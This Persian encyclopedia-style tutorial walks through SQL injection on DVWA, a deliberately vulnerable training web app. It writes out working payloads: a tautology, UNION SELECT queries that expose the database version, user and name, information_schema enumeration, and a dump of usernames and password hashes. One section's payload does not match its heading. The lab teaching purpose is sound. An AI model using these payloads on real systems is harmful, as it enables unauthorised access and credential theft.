تزریق اس کیوال در دی وی دبلیو ا
![]() | لحن یا سبک این مقاله بازتابدهندهٔ لحن دانشنامهای مورد استفاده در ویکیپدیا نیست. |
دی وی دابلیو اِی (به انگلیسی: Damn Vulnerable Web App (DVWA)) یک اپلیکیشن وب است که برای مقاصد آموزشی طراحی شدهاست تا افراد علاقهمند، متخصصین، معلمان و دانش آموزان بتوانند در محیطی کنترل شده و قانونی به یادگیری امنیت وب اپلیکیشنها، علل آسیب پذیری و نحوه برطرف کردن آسیب پذیریها بپردازند.
این اپلیکیشن به زبان پی اچ پی (به انگلیسی: PHP) و پایگاه داده مای اس کیوال (به انگلیسی: MySQL) نوشته شدهاست، میزان امنیت اپلیکیشن قابل تنظیم از کم، متوسط و زیاد میباشد. سورس کد مربوط به هر صفحه برای مقایسه قابل دسترسی است و برنامه نویسان میتوانند با بررسی کدها به چگونگی برطرف کردن آسیب پذیریها پی ببرند.
در این مقاله به بررسی بخش تزریق اس کیوال (به انگلیسی: SQL Injection) در دی وی دابلیو اِ میپردازیم.
تزریق اس کیوال یک تکنیک تزریق کد است که، از آسیب پذیریهای لایه پایگاه دادهٔ یک نرمافزار سوءاستفاده میکند. این بدان معناست که برای فریب اس کیوال سرور (به انگلیسی: SQL Server)، ممکن است قادر به استفاده از ورودی خاصی باشیم، تا آنچه که ما میخواهیم انجام می شود.
ورود به دی وی دابلیو اِی
[ویرایش]![](http://upload.wikimedia.org/wikipedia/commons/thumb/2/2f/DV1.jpg/60px-DV1.jpg)
- دستور العمل:
- مرورگر خود را (Firefox, Chrome ,…) اجرا کنید.
- در نوار آدرس مرورگر عبارت “http://192.168.1.6/dvwa/login.php”[پیوند مرده] را وارد کنید. (توجه داشته باشید که بجای “۱۹۲٫۱۶۸٫۱٫۶” باید آدرس IP محلی که دی وی دبلیو اِ در سیستم شما نصب شدهاست قرار بگیرد)
- نام کاربری و رمزعبور را وارد کنید. (Username: admin , Password: password)
- روی Login کلیک نمایید.
تنظیم سطح امنیتی دی وی دابلیو اِی
[ویرایش]![](http://upload.wikimedia.org/wikipedia/commons/thumb/5/50/DV2.jpg/60px-DV2.jpg)
- دستورالعمل:
- از منوی سمت چپ، بر روی گزینه “DVWA Security” کلیک کنید.
- در قسمت “Script Security”، “Low” را انتخاب نمایید.
- بر روی “Submit” کلیک نمایید.
راهنمای تزریق اس کیوال
[ویرایش]![](http://upload.wikimedia.org/wikipedia/commons/thumb/3/32/DV3.jpg/60px-DV3.jpg)
- منوی تزریق اس کیوال:
- دستور العمل:
- از منوی سمت چپ، گزینه “SQL Injection” را انتخای نمایید.
- دستور العمل:
- دستور العمل:
- عدد “۱” را در جعبه متن (به انگلیسی: Text box) وارد کنید.
- روی “Submit” کلیک کنید.
- دقت داشته باشید، در کدی که برای این صفحه در نظر گرفته شدهاست، کد کاربری که یک عدد است را میگیرد و کد کاربری، نام و نام خانوادگی را نمایش میدهد.
- نکته: selectیی که در PHP به کار رفتهاست و ما به آن حمله میکنیم، به صورت زیر است و ما به صورت خاص از فیلد “$id” استفاده میکنیم.
- دستور العمل:
- $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
![](http://upload.wikimedia.org/wikipedia/commons/thumb/e/e5/DV5.jpg/60px-DV5.jpg)
- دستورالعمل:
- متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
- دستورالعمل:
- %' or '۰'='۰
- روی “Submit” کلیک کنید.
- نکته:
- در این سناریو، ما به سیستم دستور میدهیم تمام رکوردهای نادرست و تمام رکوردهای درست را نمایش دهد.
- % - احتمالاً با هیچ شناسه کاربری برابر نیست و بنابراین همواره غلط است.
- ‘۰’=’۰’ – همواره درست است، چون همیشه ‘۰’ با ‘۰’ برابر است.
- Selectیی که برای پایگاه داده ارسال میشود به صورت زیر است.
- در این سناریو، ما به سیستم دستور میدهیم تمام رکوردهای نادرست و تمام رکوردهای درست را نمایش دهد.
- نکته:
- SELECT first_name, last_name FROM users WHERE user_id = '%' or '۰'='۰';
نمایش نسخه پایگاه داده
[ویرایش]![](http://upload.wikimedia.org/wikipedia/commons/thumb/3/3c/DV6.jpg/60px-DV6.jpg)
- دستور العمل:
- متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
- دستور العمل:
- %' or ۰=۰ union select null, version() #
- روی “Submit” کلیک کنید.
- نکته:
- به آخرین خط نمایش داده شده توجه کنید که در نام خانوادگی “۵٫۱٫۶۰” قرار داده شدهاست.
- این در واقع نسخه پایگاه دادهٔ mysql است.
- نکته:
نمایش کاربر پایگاه داده
[ویرایش]![](http://upload.wikimedia.org/wikipedia/commons/thumb/a/a7/DV7.jpg/60px-DV7.jpg)
- دستور العمل:
- متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
- دستور العمل:
- %' or ۰=۰ union select null, user() #
- روی “Submit” کلیک کنید.
- نکته:
- به آخرین خط نمایش داده شده توجه کنید که در نام خانوادگی “root@localhost” قرار داده شدهاست.
- این نام، کاربر پایگاه داده است که در پشت صحنه، کد PHP را اجرا میکند.
- نکته:
نمایش نام پایگاه داده
[ویرایش]![](http://upload.wikimedia.org/wikipedia/commons/thumb/9/90/DVW8.jpg/60px-DVW8.jpg)
- دستور العمل:
- متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
- دستور العمل:
- %' or ۰=۰ union select null, database() #
- روی “Submit” کلیک کنید.
- نکته:
- به آخرین خط نمایش داده شده توجه کنید که در نام خانوادگی “dvwa” قرار داده شدهاست.
- این در واقع نام پایگاه داده است.
- نکته:
نمایش تمام جداول موجود در شمای پایگاه داده
[ویرایش]![](http://upload.wikimedia.org/wikipedia/commons/thumb/4/43/DV9.jpg/60px-DV9.jpg)
- دستور العمل:
- متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
- دستور العمل:
- %' and ۱=۰ union select null, table_name from information_schema.tables where table_name like 'user%'#
- روی “Submit” کلیک کنید.
- نکته:
- اکنون ما تمام جداول موجود در شمای پایگاه داده را نمایش دادیم.
- اطلاعات موجود در شما، همان اطلاعات پایگاه داده است، شما جایی است که اطلاعات پایگاه دادههای دیگری که روی MySQL Server هستند، ذخیره میشود.
- نکته:
نمایش تمام جداول کاربر در شمای پایگاه داده
[ویرایش]![](http://upload.wikimedia.org/wikipedia/commons/thumb/4/4d/DV10.jpg/60px-DV10.jpg)
- دستور العمل:
- متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
- دستور العمل:
- %' and ۱=۰ union select null, table_name from information_schema.tables where table_name like 'user%'#
- روی “Submit” کلیک کنید.
- نکته:
- اکنون ما تمامی جداولی که در شما با پسوند “user” شروع شدهاند، را نمایش دادهایم.
- نکته:
نمایش کلیه ستونهای جدول کاربران موجود، در شمای پایگاه داده
[ویرایش]![](http://upload.wikimedia.org/wikipedia/commons/thumb/a/ad/DV11.jpg/60px-DV11.jpg)
- دستورالعمل:
- متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
- دستورالعمل:
- %' and ۱=۰ union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
- روی “Submit” کلیک کنید.
- نکته:
- اکنون ما تمام ستونهای جدول users را نمایش دادهایم.
- این ستونها شامل user_id، first_name، last_name، user و Password است.
- نکته:
نمایش محتویات ستونهای جدول کاربر موجود در شمای پایگاه داده
[ویرایش]![](http://upload.wikimedia.org/wikipedia/commons/thumb/1/1b/DV12.jpg/60px-DV12.jpg)
- دستور العمل:
- متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
- دستور العمل:
- %' and ۱=۰ union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
- روی “Submit” کلیک کنید.
- نکته:
- اکنون ما موفق به نمایش تمام اطلاعات لازم برای احرازهویت و متصل شدن به پایگاه داده، شدهایم.
- نکته:
منابع
[ویرایش]- Wikipedia contributors, "SQL injection," Wikipedia, The Free Encyclopedia, http://en.wikipedia.org/w/index.php?title=SQL_injection&oldid=473084301 (accessed January 25, 2012).
- SQL-Injections - eine Analyse an PHP & MySQL